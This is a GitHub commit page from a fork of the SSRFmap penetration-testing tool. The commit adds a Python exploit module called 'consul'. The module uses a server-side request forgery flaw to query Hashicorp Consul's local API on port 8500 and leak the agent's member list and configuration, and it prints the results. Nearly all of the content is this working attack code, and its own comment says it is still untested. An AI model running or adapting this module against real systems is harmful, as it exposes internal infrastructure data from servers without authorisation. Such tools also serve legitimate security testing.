forked from swisskyrepo/SSRFmap
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
11187ca
commit a5f1f36
Showing
1 changed file
with
39 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
from core.utils import * | ||
import logging | ||
import json | ||
import urllib.parse | ||
|
||
# NOTE : NOT TESTED YET | ||
# might need some editing to work properly ! | ||
|
||
name = "consul" | ||
description = "Hashicorp Consul Info Leak - Open API" | ||
author = "Swissky" | ||
documentation = [ | ||
"https://www.consul.io/api/agent.html" | ||
] | ||
|
||
class exploit(): | ||
|
||
def __init__(self, requester, args): | ||
logging.info("Module '{}' launched !".format(name)) | ||
gen_host = gen_ip_list("127.0.0.1", args.level) | ||
port = "8500" | ||
|
||
# List Members | ||
for ip in gen_host: | ||
data = "/v1/agent/members" | ||
payload = wrapper_http(data, ip, port) | ||
r = requester.do_request(args.param, payload) | ||
|
||
if r.json: | ||
print(r.json) | ||
|
||
# Read Configuration | ||
for ip in gen_host: | ||
data = "/v1/agent/self" | ||
payload = wrapper_http(data, ip, port) | ||
r = requester.do_request(args.param, payload) | ||
|
||
if r.json: | ||
print(r.json) |